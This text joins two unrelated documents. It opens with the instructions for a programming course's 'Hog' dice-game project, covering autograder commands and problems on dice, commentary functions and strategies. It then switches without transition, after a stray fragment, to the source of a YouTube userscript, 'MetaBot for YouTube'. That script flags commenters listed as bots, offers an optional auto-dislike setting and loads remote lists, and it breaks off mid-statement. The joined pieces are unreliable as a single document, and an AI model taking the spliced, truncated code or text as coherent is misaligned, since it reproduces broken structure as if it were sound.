files: hog.py You do not need to modify or turn in any other files to complete the project. To submit the project, run the following command: python3 ok --submit You will be able to view your submissions on the Ok dashboard. For the functions that we ask you to complete, there may be some initial code that we provide. If you would rather not use that code, feel free to delete it and start from scratch. You may also add new function definitions as you see fit. However, please do not modify any other functions. Doing so may result in your code failing our autograder tests. Also, please do not change any function signatures (names, argument order, or number of arguments). Testing Throughout this project, you should be testing the correctness of your code. It is good practice to test often, so that it is easy to isolate any problems. However, you should not be testing too often, to allow yourself time to think through problems. We have provided an autograder called ok to help you with testing your code and tracking your progress. The first time you run the autograder, you will be asked to log in with your Ok account using your web browser. Please do so. Each time you run ok, it will back up your work and progress on our servers. The primary purpose of ok is to test your implementations, but there are two things you should be aware of. First, some of the test cases are locked. To unlock tests, run the following command from your terminal: python3 ok -u This command will start an interactive prompt that looks like: ===================================================================== Assignment: The Game of Hog Ok, version ... ===================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Unlocking tests At each "? ", type what you would expect the output to be. Type exit() to quit --------------------------------------------------------------------- Question 0 > Suite 1 > Case 1 (cases remaining: 1) >>> Code here ? At the ?, you can type what you expect the output to be. If you are correct, then this test case will be available the next time you run the autograder. The idea is to understand conceptually what your program should do first, before you start writing any code. Once you have unlocked some tests and written some code, you can check the correctness of your program using the tests that you have unlocked: python3 ok Most of the time, you will want to focus on a particular question. Use the -q option as directed in the problems below. We recommend that you submit after you finish each problem. Only your last submission will be graded. It is also useful for us to have more backups of your code in case you run into a submission issue. The tests folder is used to store autograder tests, so do not modify it. You may lose all your unlocking progress if you do. If you need to get a fresh copy, you can download the zip archive and copy it over, but you will need to start unlocking from scratch. If you do not want us to record a backup of your work or information about your progress, use the --local option when invoking ok. With this option, no information will be sent to our course servers. Graphical User Interface A graphical user interface (GUI, for short) is provided for you. At the moment, it doesn't work because you haven't implemented the game logic. Once you complete the play function, you will be able to play a fully interactive version of Hog! In order to render the graphics, make sure you have Tkinter, Python's main graphics library, installed on your computer. Once you've done that, you can run the GUI from your terminal: python3 hog_gui.py Once you complete the project, you can play against the final strategy that you've created! python3 hog_gui.py -f Phase 1: Simulator In the first phase, you will develop a simulator for the game of Hog. Problem 0 (0 pt) The dice.py file represents dice using non-pure zero-argument functions. These functions are non-pure because they may have different return values each time they are called. The documentation of dice.py describes the two different types of dice used in the project: Dice can be fair, meaning that they produce each possible outcome with equal probability. Example: six_sided. For testing functions that use dice, deterministic test dice always cycle through a fixed sequence of values that are passed as arguments to the make_test_dice function. Before we start writing any code, let's understand the make_test_dice function by unlocking its tests. python3 ok -q 00 -u This should display a prompt that looks like this: ===================================================================== Assignment: Project 1: Hog Ok, version v1.5.2 ===================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Unlocking tests At each "? ", type what you would expect the output to be. Type exit() to quit --------------------------------------------------------------------- Question 0 > Suite 1 > Case 1 (cases remaining: 1) >>> test_dice = make_test_dice(4, 1, 2) >>> test_dice() ? You should type in what you expect the output to be. To do so, you need to first figure out what test_dice will do, based on the description above. You can exit the unlocker by typing exit() (without quotes). Typing Ctrl-C on Windows to exit out of the unlocker has been known to cause problems, so avoid doing so. Problem 1 (2 pt) Implement the roll_dice function in hog.py. It takes two arguments: a positive integer called num_rolls giving the number of dice to roll and a dice function. It returns the number of points scored by rolling the dice that number of times in a turn: either the sum of the outcomes or 1 (Pig Out). To obtain a single outcome of a dice roll, call dice(). You should call dice() exactly num_rolls times in the body of roll_dice. Remember to call dice() exactly num_rolls times even if Pig Out happens in the middle of rolling. In this way, we correctly simulate rolling all the dice together. Checking Your Work: Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 01 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 01 If the tests don't pass, it's time to debug. You can observe the behavior of your function using Python directly. First, start the Python interpreter and load the hog.py file. python3 -i hog.py Then, you can call your roll_dice function on any number of dice you want, such as 4. >>> roll_dice(4) In most systems, you can evaluate the same expression again by pressing the up arrow or Control-P, then pressing enter or return. You should find that evaluating this call expression gives a different answer each time, since dice rolls are random. The roll_dice function has a default argument value for dice that is a random six-sided dice function. You can also use test dice that fix the outcomes of the dice in advance. For example, rolling twice when you know that the dice will come up 3 and 4 should give a total outcome of 7. >>> fixed_dice = make_test_dice(3, 4) >>> roll_dice(2, fixed_dice) 7 If you find a problem, you need to change your hog.py file, save it, quit Python, start it again, and then start evaluating expressions. Pressing the up arrow should give you access to your previous expressions, even after restarting Python. Once you think that your roll_dice function is correct, run the ok tests again. Tests like these don't prove that your program is exactly correct, but they help you build confidence that this part of your program does what you expect, so that you can trust the abstraction it defines as you proceed. Problem 2 (1 pt) Implement the free_bacon helper function that returns the number of points scored by rolling 0 dice, based on the opponent's current score. You can assume that score is less than 100. For a score less than 10, assume that the first of the two digits is 0. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 02 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 02 You can also test free_bacon interactively by entering python3 -i hog.py in the terminal and then calling free_bacon with various inputs. Problem 3 (1 pt) Implement the take_turn function, which returns the number of points scored for a turn by the current player. Your implementation should call roll_dice when possible. You will need to implement the Free Bacon rule. You can assume that opponent_score is less than 100. Call free_bacon in your implementation of take_turn. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 03 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 03 Problem 4 (1 pt) Implement is_swap, which returns whether or not the scores should be swapped because one is an integer multiple of the other. The is_swap function takes two arguments: the player scores. It returns a boolean value to indicate whether the Swine Swap condition is met. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 04 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 04 Problem 5 (3 pt) Implement the play function, which simulates a full game of Hog. Players alternate turns, each using their respective strategy function (Player 0 uses strategy0, etc.), until one of the players reaches the goal score. When the game ends, play returns the final total scores of both players, with Player 0's score first, and Player 1's score second. Here are some hints: You should use the functions you have already written! You will need to call take_turn with all three arguments. Only call take_turn once per turn. Enforce all the special rules. You can get the number of the other player (either 0 or 1) by calling the provided function other. You can ignore the say argument to the play function for now. You will use it in Phase 2 of the project. A strategy is a function that, given a player's score and their opponent's score, returns how many dice the player wants to roll. A strategy function (such as strategy0 and strategy1) takes two arguments: scores for the current player and opposing player, which both must be non-negative integers. A strategy function returns the number of dice that the current player wants to roll in the turn. Each strategy function should be called only once per turn. Don't worry about the details of implementing strategies yet. You will develop them in Phase 3. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 05 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 05 The last test for Question 5 is a fuzz test, which checks that your play function works for a large number of different inputs. Failing this test means something is wrong, but you should look at other tests to see where the problem might be. Once you are finished, you will be able to play a graphical version of the game. We have provided a file called hog_gui.py that you can run from the terminal: python3 hog_gui.py If you don't already have Tkinter (Python's graphics library) installed, you'll need to install it first before you can run the GUI. The GUI relies on your implementation, so if you have any bugs in your code, they will be reflected in the GUI. This means you can also use the GUI as a debugging tool; however, it's better to run the tests first. Congratulations! You have finished Phase 1 of this project! Phase 2: Commentary In the second phase, you will implement commentary functions that print remarks about the game, such as, "22 points! That's the biggest gain yet for Player 1." A commentary function takes two arguments, the current score for Player 0 and the current score for Player 1. It returns another commentary function to be called on the next turn. It may also print some output as a side effect of being called. The function say_scores in hog.py is an example of a commentary function. The function announce_lead_changes is an example of a higher-order function that returns a commentary function. def say_scores(score0, score1): """A commentary function that announces the score for each player.""" print("Player 0 now has", score0, "and Player 1 now has", score1) return say_scores def announce_lead_changes(previous_leader=None): """Return a commentary function that announces lead changes. >>> f0 = announce_lead_changes() >>> f1 = f0(5, 0) Player 0 takes the lead by 5 >>> f2 = f1(5, 12) Player 1 takes the lead by 7 >>> f3 = f2(8, 12) >>> f4 = f3(8, 13) >>> f5 = f4(15, 13) Player 0 takes the lead by 2 """ def say(score0, score1): if score0 > score1: leader = 0 elif score1 > score0: leader = 1 else: leader = None if leader != None and leader != previous_leader: print('Player', leader, 'takes the lead by', abs(score0 - score1)) return announce_lead_changes(leader) return say Problem 6 (2 pt) Update your play function so that a commentary function is called at the end of each turn. say(score0, score1) should be called at the end of the first turn. Its return value (another commentary function) should be called at the end of the second turn. Each turn, a new commentary function should be called that is the return value of the previous call to a commentary function. Also implement both, a function that takes two commentary functions (f and g) and returns a new commentary function. This new commentary function returns another commentary function which calls the functions returned by calling f and g, in that order. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 06 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 06 Problem 7 (2 pt) Implement the announce_highest function, which is a higher-order function that returns a commentary function. This commentary function announces whenever a particular player gains more points in a turn than ever before. To compute the gain, it must compare the score from last turn to the score from this turn for the player of interest, which is designated by the who argument. This function must also keep track of the highest gain for the player so far. The way in which announce_highest announces is very specific, and your implementation should match the doctests provided. Notice in particular that if the gain is only 1 point, then the message includes "point" in singular form. If the gain is larger, then the message includes "points" in plural form. Use Ok to test your code: python3 ok -q 07 Hint. The announce_lead_changes function provided to you is an example of how to keep track of information using commentary functions. If you are stuck, first make sure you understand how announce_lead_changes works. When you are done, if play the game again, you will see the commentary. python3 hog_gui.py The commentary in the GUI is generated by passing the following function as the say argument to play. both(announce_highest(0), both(announce_highest(1), announce_lead_changes())) Great work! You just finished Phase 2 of the project! Phase 3: Strategies In the third phase, you will experiment with ways to improve upon the basic strategy of always rolling a fixed number of dice. First, you need to develop some tools to evaluate strategies. Problem 8 (2 pt) Implement the make_averaged function, which is a higher-order function that takes a function fn as an argument. It returns another function that takes the same number of arguments as fn (the function originally passed into make_averaged). This returned function differs from the input function in that it returns the average value of repeatedly calling fn on the same arguments. This function should call fn a total of num_samples times and return the average of the results. To implement this function, you need a new piece of Python syntax! You must write a function that accepts an arbitrary number of arguments, then calls another function using exactly those arguments. Here's how it works. Instead of listing formal parameters for a function, we write *args. To call another function using exactly those arguments, we call it again with *args. For example, >>> def printed(fn): ... def print_and_return(*args): ... result = fn(*args) ... print('Result:', result) ... return result ... return print_and_return >>> printed_pow = printed(pow) >>> printed_pow(2, 8) Result: 256 256 >>> printed_abs = printed(abs) >>> printed_abs(-10) Result: 10 10 Read the docstring for make_averaged carefully to understand how it is meant to work. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 08 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 08 Problem 9 (1 pt) Implement the max_scoring_num_rolls function, which runs an experiment to determine the number of rolls (from 1 to 10) that gives the maximum average score for a turn. Your implementation should use make_averaged and roll_dice. If two numbers of rolls are tied for the maximum average score, return the lower number. For example, if both 3 and 6 achieve a maximum average score, return 3. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 09 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 09 To run this experiment on randomized dice, call run_experiments using the -r option: python3 hog.py -r Running experiments For the remainder of this project, you can change the implementation of run_experiments as you wish. By calling average_win_rate, you can evaluate various Hog strategies. For example, change the first if False: to if True: in order to evaluate always_roll(8) against the baseline strategy of always_roll(4). You should find that it wins slightly more often than it loses, giving a win rate around 0.5. Some of the experiments may take up to a minute to run. You can always reduce the number of samples in make_averaged to speed up experiments. Problem 10 (1 pt) A strategy can take advantage of the Free Bacon rule by rolling 0 when it is most beneficial to do so. Implement bacon_strategy, which returns 0 whenever rolling 0 would give at least margin points and returns num_rolls otherwise. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 10 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 10 Once you have implemented this strategy, change run_experiments to evaluate your new strategy against the baseline. You should find that it wins more than half of the time. Problem 11 (2 pt) A strategy can also take advantage of the Swine Swap rule. The swap_strategy rolls 0 if it would cause a beneficial swap. It also returns 0 if rolling 0 would give at least margin points and would not cause a swap. Otherwise, the strategy rolls num_rolls. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 11 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 11 Once you have implemented this strategy, update run_experiments to evaluate your new strategy against the baseline. You should find that it gives a significant edge over always_roll(4). Optional: Problem 12 (0 pt) Implement final_strategy, which combines these ideas and any other ideas you have to achieve a high win rate against the always_roll(4) strategy. Some suggestions: swap_strategy is a good default strategy to start with. There's no point in scoring more than 100. Check whether you can win by rolling 0, 1 or 2 dice. If you are in the lead, you might take fewer risks. Try to force a beneficial swap. Choose the num_rolls and margin arguments carefully. You can check that your final strategy is valid by running Ok. python3 ok -q 12 You can also check your exact final winrate by running python3 calc.py At this point, run the entire autograder to see if there are any tests that don't pass. python3 ok Once you are satisfied, submit to Ok to complete the project. python3 ok --submit You can also play against your final strategy with the graphical user interface: python3 hog_gui.py -f The GUI will alternate which player is controlled by you. Congratulations, you have reached the end of your first CS 61A project! If you haven't already, relax and enjoy a few games of Hog with a friend.
artemain / Sat= // @name MetaBot for YouTube // @namespace yt-metabot-user-js // @description More information about users and videos on YouTube. // @version 200322 // @homepageURL https://vk.com/public159378864 // @supportURL https://github.com/asrdri/yt-metabot-user-js/issues // @updateURL https://raw.githubusercontent.com/asrdri/yt-metabot-user-js/master/yt-metabot.meta.js // @downloadURL https://raw.githubusercontent.com/asrdri/yt-metabot-user-js/master/yt-metabot.user.js // @icon https://raw.githubusercontent.com/asrdri/yt-metabot-user-js/master/logo.png // @include https://*youtube.com/* // @include https://*dislikemeter.com/?v* // @require https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js // @require https://raw.githubusercontent.com/sizzlemctwizzle/GM_config/master/gm_config.js // @grant GM_getValue // @grant GM_setValue // @grant GM_xmlhttpRequest // @grant GM.xmlHttpRequest // @run-at document-start // ==/UserScript== GM_config.init( { 'id': 'ytmetabot_config', 'title': 'MetaBot/YT Settings', 'fields': { 'option1': { 'label': 'Processing mode for comments by known bots', 'type': 'int', 'min': 1, 'max': 2, 'default': 1 }, 'option2': { 'label': 'Auto-dislike comments by known bots', 'type': 'checkbox', 'default': false }, 'option3': { 'label': 'Hide long like/dislike/share button text', 'type': 'checkbox', 'default': true }, 'option4': { 'label': 'Use additional lists', 'type': 'checkbox', 'default': true }, 'option5': { 'label': 'Send alert to server', 'type': 'checkbox', 'default': false }, 'listp1': { 'label': 'Bookmarks (personal list)', 'type': 'text', 'default': '' }, 'listc1': { 'label': 'Custom list URL 1', 'type': 'text', 'default': 'https://github.com/asrdri/yt-metabot-user-js/raw/master/list-sample.txt' }, 'listc2': { 'label': 'Custom list URL 2', 'type': 'text', 'default': '' }, 'listc3': { 'label': 'Custom list URL 3', 'type': 'text', 'default': '' }, 'colorp1': { 'label': 'Personal color', 'type': 'int', 'default': '33023' }, 'colorc1': { 'label': 'Custom color 1', 'type': 'int', 'default': '8388863' }, 'colorc2': { 'label': 'Custom color 2', 'type': 'int', 'default': '16744448' }, 'colorc3': { 'label': 'Custom color 3', 'type': 'int', 'default': '8421504' } }, }); const checkb = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAPCAMAAADXs89aAAAA+VBMVEUAAAD///+qqqp/f39mZmZubm5vb29sbGxtbW1tbW1tbW1ubm5ubm5tbW1ubm5tbW1ubm5ubm5ubm5tbW1tbW1ubm5ubm5tbW1ubm5ubm5tbW1ubm5ubm5vb29wcHBxcXFzc3N0dHR1dXV3d3d4eHh6enp7e3t8fHyAgICCgoKFhYWMjIyOjo6Pj4+QkJCSkpKUlJSWlpaZmZmampqdnZ2hoaGqqqqwsLC0tLS1tbW2tra5ubm+vr7ExMTKysrLy8vQ0NDR0dHS0tLU1NTV1dXW1tbe3t7i4uLj4+Pk5OTl5eXn5+fo6Ojq6urs7Ozu7u7w8PD9/f3////SCMufAAAAHHRSTlMAAAMEBSUnKCpbXV9htre6u87Q0dPp6uvs7u/8pkhKVQAAAMdJREFUeNpN0NdWwlAUANEbgvTeQhnQIE1B1ChYQcEC0gL+/8ewzPWwmMf9OMowDKWUP5YqU0pGTaXTHMqdOcM7G7LBIw4Vnc3b89i9BytwYH+uv7oAOqsbyJjCMb4d/urOgYhwqr55wmvdhIRwufXT0zzrgCVM1X2tA5xva1ARLvE4aQCMXoCCcJLaZNpvX71/3QJx4ShUBx+Lz4fp7hrCwmYWL3v5u7XTPmEVtLRfuk7+5OhJIKP9NO2psDIjCatSiId9/7oHY28awgWqV+8AAAAASUVORK5CYII='; const minf = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPCAMAAAAMCGV4AAAAM1BMVEUAAAB/f39vb29sbGxtbW1ubm5ubm5sbGxubm5ubm7////Pz8+Li4uampp8fHzb29uSkpKUSDd+AAAACXRSTlMABCcoXbfQ6/zS5clrAAAAYUlEQVQIHQXBAQLCMAgEsBxs+v/32oJJkE5lZ+8Suhu4Z7R6m2c/NVW28zbmew8xeV4A+FWgkjSkCuYDqAo4gNQCgK0BAFMLHsD2pqjL1rqnSSysOdt2U8C9I0insrN3+QOBPC04AhR0BwAAAABJRU5ErkJggg=='; const mred = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPCAMAAAAMCGV4AAAApVBMVEUzMzP/MzP+MzP+MzP+MzP+MzP9MzP+NTP+NTP/XDP+NTP+NTP+MzP+MzP+NDP+NDP+PTP9NDP+OTP9MzP+NTP+NTP+MzP5MzP/MzP/////e3v/NTP/PT3/Tk7/YWH/UVH/TU3/9/f/+fn/cnL/5eX/QED/ZGT/09P/1tb/wcH/xcX/6Oj/Z2f/hYX/aWn/b2//39//cXH/dXX/oqL/paX/T0//dnb54rKOAAAAGHRSTlMABFzrJurQ1O4Fu+8nt7nQKv1ht17tzyc2HRLDAAAAj0lEQVQIHQXABVIDARAEwLmLuwK9SXB35/9Po5JktB5P9sP5tkmSZDlwsdvtfi2mSbI84rqqvuh1k9EAZ1V1h36TNZxW1Tm0GcOhqm5hlgm4rCvQyR7c1DNYZQju6wF0MgeP9QQ22YKX1zfQplnA+8cnHDfJtIfv+kGvmyQnfQ5/B/rdJEmadtZZdTZtk+QfVeIRvDroEMEAAAAASUVORK5CYII='; const imgdm = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAMAAADzN3VRAAACfFBMVEUAAAD+wgD+wQD+wQD/qgD/vwD1ugD+wQD/vwD+wQD+wQD+wgD+wgD5vwD+xwD9wAD7vwD5vQD+wQD1uwD/zADyuAD0uQDyuADytwDzuADxtwDztwDytwDwuAD+wgDzuAD+wgDyuQD+wgD1ugDxtwD0tgBaanv+wgBEW5H+wAD+wQDytwDxtgBIXpL+wQBPZZb+wgD+wQBmeKP+wgBXa5r//wD+wQBic5ldcZ9ccJ5SZ5dEW5H+wgD+wgBlcHD+wAD+wQBEXZD+wQD3vADzuAB0dGltfaZKX5T+xAD6vgDfnwBGXJFVaZpfcp5EWpD/wgDyuAD+wQD19fVuf7OOeiHyugT7vwD+wgCykRY8RTno6OiGgF1oeq7ksQinsc3nswf7vwHyuwr8wQL9wQD2zEf068/18OP03pj20mGBgnjv7++oscV9e2dpe6/CmxL11nf18uv11nb9wAByaCn2uwCrjBj8wADl5uZqd5J+fGiXiE3rtAXj5einsMWZiUrz8/NYaI1SZ5xCSTj8wAH3yDX9wQK0mTpTaJtabqNZbqJUaZrh5Orb3OF1aihESjdSZ5r03ZP06cSAjalpcHemiRr6vgD09PTBmhKFf1+0vNTp6enbqwpeWy/YrR7GoizIoyuwlz2dqcM2QTtvgKjKpSmReyD4vgVpdo32zUnxugv3vgb7wAT6wQz1ugD0ugAoOD/6wAn179310FgwPT2ihhvEnBFZWDHl5eb5vQCEfmDR1Nvv8PLr6+uEkrFARzi4lBW3lBWMgljS1+Ht7e2VoLs/RziSfCC6wdivjxdHTDbN0t7n6e34vQLutwV/cCb4vQD10V318ef2yTv0uQDkLrBbAAAAT3RSTlMATOr6AwQ4shjgmfhtLBf5/vJjNQWgSfyz2PuA8CT3wOdUvsaHMR9+ZCn+jDi3t9Au+fR22AKW7+XlyjiC+zJB0Typ+MPO9xgaMwg61+5oF3I9zwAAAY1JREFUeAFtzfObG1EUxvETu7Zt2zb63snERVMbTZPatm3b7tr2/kN7JzO7d7PPfn79Pue8pLE6LbamzZr37NWbEjSxO6DyfenakgSdHkJ5h45G0rQwoL7brLVJuxBB9Y8NVDf0aCjatg1xdmD7Q8B/qwRAzAt4YxHWvhWR1QFcLgOWf10J4EQACFxBlHUncgK4+/PX7z+PwL1OS8/IzYOPtSOygCsofLG7FFzYEwx6wpBYJxPZ0Jhq1pm6QPjwftVqxH1mg8ggwqtjx6/e3KrYf+CgmbpBI+1ZukyWVxQrDh0+4qIeiPv47tr1G9tkOd+tuPN3Xx/qC27N2nXrN2zcpBVu85Z+1H8AENmxc9cnCf9FOZo0mGgIpIrKKgkQhds7lGjY8G/ff/jB3ePlvlYejCCikSdPnYbizNlz5y9cVL9dGsXL6DFQ+R8/efrsuTv0cuy48RMmEmecNBm13rxNTkmdQnWmToNGyszKzplOgkk3Qw9IvpmzZheF5sylBMZ5882uBbRw0eIlpKgB/8u5fuwF0eAAAAAASUVORK5CYII='; const imgdma = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAMAAADzN3VRAAABsFBMVEUAAAD+wQD+wgD/qgD+wQD/vwD+wQD+wgD+wgD+wQD+xwBatlz/vwD+wQBft1n+wQDxtwD1ugD9wADyuAD0uQD/zAD7vwD5vQDxtwDzuADyuQDztwDyuADytwDytwDytwDwuAD+wgD0tgCstyvzuAD1uwD+wgD+wgD+wgD+wAD+wQD+wQD+wgD+wQD+wgD//wD+wQD+wgD+wgD+wAD+wQD+wQD+xACtvC1Ztl3/wgD///97uEnyuAD+wQCBu1CWujp7xX32uwCOeiGrjBiykRabx2qc1J5nvWryugRat108RTn7vwH7vwD+wgD9wADxwAb4vQB/cCaSfCAoOD95tkmGt0CihhteWy+ReyDBmhIwPT1HTDb8wAB6t0n6vgD7wAT2zUn03ZP06cR4wXQ2QTv9wQD2zEf068/18OP03pj20mF5ulhyaCnutwX11nf18uv11nb6wQzbqwr10V318ef2yTvksQjCmxI/Rzj6wAn179310FimiRr8wAH3yDX9wQKV0ZdZWDFARzj0uQD5vQDnswdCSTi4lBVESjeKukCvjxe3lBV1aij0ugD4vQLEnBHgcTooAAAAOXRSTlMA6kwD+gTgbfiyF+gYmd5jh8b5/EkF/vL72FSAoLOM8CT3MVjANee+fin+ty75dgKWgvtB0akaVEpkodaYAAABOUlEQVR4XnXPVXMiURCG4SYES4C4u7uvfSO4S9zd3d3d1/5yOAWEGYq8N33xVFdXUyS9RqfOzM3LSK8kWSkGLcIF/lbXSCBJgVi9+UXKKKQlQ9q0UKyKbMgBeBRKwzcUiM+alc3EAJzsA8HLfwDsHsBj7xYKcoj0WuBPH3A88ATg2QE4XmEVCok0AMbGh//fjQDA6P3L79N+BIQSIh0AvE8sbm4x8dt8PpsfolCmIjUS9SCUU0UMesx8KKfTxPODQ1UkecbsZXGchQ0j1UZBnJySipfqwjAzOze/IJd6BkvLK6tr6xtyaWgEurd3dvdE8HKhJogHh0ciACcnyUXU3HJ2fhFEAqHWq+sbsEwWFsfdsuEOSVs7wsXfIVJ2dCYUVte3r4RUSd8VeJNKKn2m/PHTyMTlcjP49QE0u4VtSVu7kQAAAABJRU5ErkJggg=='; const imgdmd = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAZCAMAAACM5megAAAAllBMVEUAAAB/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f3+AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAx6H3iAAAAMXRSTlMABAgMFBgcICQoLDA8QERITFBUWGBkaGx4fICDj5OXo6evs7e7v8PH09ff4+fr8/f7vr5GKgAAAN1JREFUGBl9wY1agjAABdAbIoSCWiIJLn8yLKNN7vu/XBvQJ87JOegZLfJDaew3U7ilklcfAW5EiTb7JGtRGFtq8hV9BTsntH5orNH3VrNx9mB4kkYdo29xoUPlAwgCtIKaLgJAqkI0BJ0qABEFGme6xQBUCXhhOOUDuycI7jCRHCAlmSDnsEsGrDjgmL6MAYxOfGyGTiwquikPV0s6bdF3oIMao+9Z8d4Gt5KadxJYMt7xYclok7AJar+KRvVFrYTtSC1Ca07tHbZvkhU6KbUlbPOiyCfo+OuiWOHfHxHEYF/PvYVrAAAAAElFTkSuQmCC'; const imgyto = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAMAAAC7IEhfAAACJVBMVEX///+qAADMMzP/MzPjKiXbJiPVIyPZJSPFGx/QIiLBGB7cKSXRIiLeKSnkKyfOICHcIiLRISLJHB7jKybCGB/QISHVKSDgKifMGRnhKyXMHR/CGR3ZJSPiLCbdKSXiKybFFyLCGR7WJCLdJyTDGB3JHSDhKiXIHB/ZJiPMHiHQIiLXIyPTIyLKHR/FGCDFGh/lMxnjKyXDGR3GGx/cJyTEGR7BGh7NICDUIiLOHiPcLiLiKyXgKSXhKyXPHyHXJSPNICDgKibgKSbJHB/XJCPnLiLfKSXfKSTfKSbDGR7EGR7KHB/CGR3CGB3CGB7BGB7BGB3BGR3////NHyHLHiDo4ODWJCPMHiD//v7p4eHaJyTZJiTYJiTOICHXJSPYJSPPICHeKSXQISHVJCPunZzFGh/UIyPqmpvnzMv89PTlxMTYUVL78vL08fHomZrzzM399/f+/Pzm09PXTk7QNDbfKiXGGx/pmprnj47XSUvktrbompryxMXVOTncKCXKHSDHHB/t5+f7+vrdKCXbJyTsnJvcOTfhgYDIHB/18fHqm5v05eXaMzHZVFTYTEvHGx/++vrZLy3spKThiYnTLi78+vrs19fqnJzYKynVNDXjrq7VPT7rm5vJHSDebm3XKCbRISLZWFrTIyLSIiLtrKzEGh7cZmXWJiXgKibvtLTWQ0Tlvr7bXVzfd3bwvL3sm5vjW1nTIiLDGh7hKybtnJviKybCGR58TkH5AAAAUnRSTlMAAwUFie17+rn8r7n8HzqvFu9b73vWH1sK54nnida5/BaYr1uJ7fqal+cWOu/6H5oKr/q5mls6H9Y6Fnzte3vnfJeYmOcW7Zqa7e2Y1u/8/O/WqnF1KAAAAb9JREFUeF6FzGOb61AYheGV1B3btu05tLHbsY1j27Zt2/h9k7SnyZt0p7m/ruda0BAi59VkxGVlxWXUtEUKMBJhTflLpFgjwNO6qPC3TuHiZQiStPwDR3sStCwr9hpYaQFRnTliKLOa/IWNhBCmftafDqk+0OUdM5EHn2jbGRO2aMiKexU/zvVyFUOS6OhTjG85cKWPw5EIIL1fNc7Y5fM3+4OlA8KCIdUfxtjde18fDOktFVA2SEih5OL0s+eDOmWwdxJnmc+pk7Pv3ndq2JE7Rsih/7Tn85cxKhfNk8R3qQmcdhy6SpZmlL8injDV1p6OR9eUpRyun4Qc0tNduwOLC+GviUuMmrl9R1nCEfOCoOGO+w/JEoOEUWJKyW7cOjpKJSBqmNjP/Ha+eTysFYX5A4Q/7P74aUBvIVo8hBx2fzvoCdYCoYSEhxk7stnDUSIAqV2qbdtfdnGlAmiq8Cr2ePkqmiBZctzUGshKC56aKCiFT+wFE7H4r+hESEUIEOuuh1AnQpHs3GfImQxCrJowUCVCq2HVW47VDQiSnVP7S6c2Jxs8lflp/4i0/EoYERrj3WvXrd+wcZM7vlEANQfRAClqAtKfNQAAAABJRU5ErkJggg=='; const regexdate = /joinedDateText(.*?)ext":"(.*?)ext":"(.*?)"}/; const regexdatemob = /joined_date_text(.*?)"}, {"text": "(.*?)"}]/; const regexid = /"video_id":"(.*?)"/; const regexlinew = /"logged_in","value":"(.*?)"/; const regexliold = /"logged_in":"(.*?)"/; const regexun = /"user_display_name":"(.*?)"/; const regexlang = /"host_language":"(.*?)"/; const regexlangmob = /\\"host_language\\": \\"(.*?)\\"/; const regexannyto = /(.*)(\r\n|\n\r|\n)([\W\w]+)/; const ERKYurl = 'https://raw.githubusercontent.com/FeignedAccomplice/Un-Yt-Kb-Rg/master/Un-Yt-Kb-Rg.CSV'; const annYTOurl = 'https://raw.githubusercontent.com/YTObserver/YT-ACC-DB/master/announcement.txt'; const minDCTime = 36*61; const maxDCTime = 71*58; const alerturl = 'https://кремлеботы.рф/alert'; const reporturl = 'tg://resolve?domain=observers_chat'; var alertSent = false; var annYTOtxt = []; var arrayERKY = []; var arrayListP1 = []; var arrayListC1 = []; var arrayListC2 = []; var arrayListC3 = []; var orderedClicksArray = []; var bDTaskSet = 0; var bDBlur = 0; var ytmode = 0; var listqueue = 0; var descc1 = ''; var descc2 = ''; var descc3 = ''; var iconsdef = ["\uD83D\uDCCC", "\uD83D\uDD32", "\uD83D\uDD34", "\uD83D\uDD3B"]; const iconstyledef = 'font-family: Segoe UI Symbol; line-height: 1em;'; const iconp1 = '<span style="' + iconstyledef + '">' + iconsdef[0] + '</span> '; const iconc1 = '<span style="' + iconstyledef + '">' + iconsdef[1] + '</span> '; const iconc2 = '<span style="' + iconstyledef + '">' + iconsdef[2] + '</span> '; const iconc3 = '<span style="' + iconstyledef + '">' + iconsdef[3] + '</span> '; var txtlistpadd = '\u2003<span id="listpadd" style="cursor: pointer; ' + iconstyledef + '" title="Добавить в закладки">' + iconsdef[0] + '</span>'; if (window.location.hostname == "dislikemeter.com" || window.location.hostname == "www.dislikemeter.com") { var videoid = getURLParameter('v', location.search); if (videoid) { waitForKeyElements('input#form_vid', function dmIDins(jNode) { var pNode = jNode[0]; pNode.value = 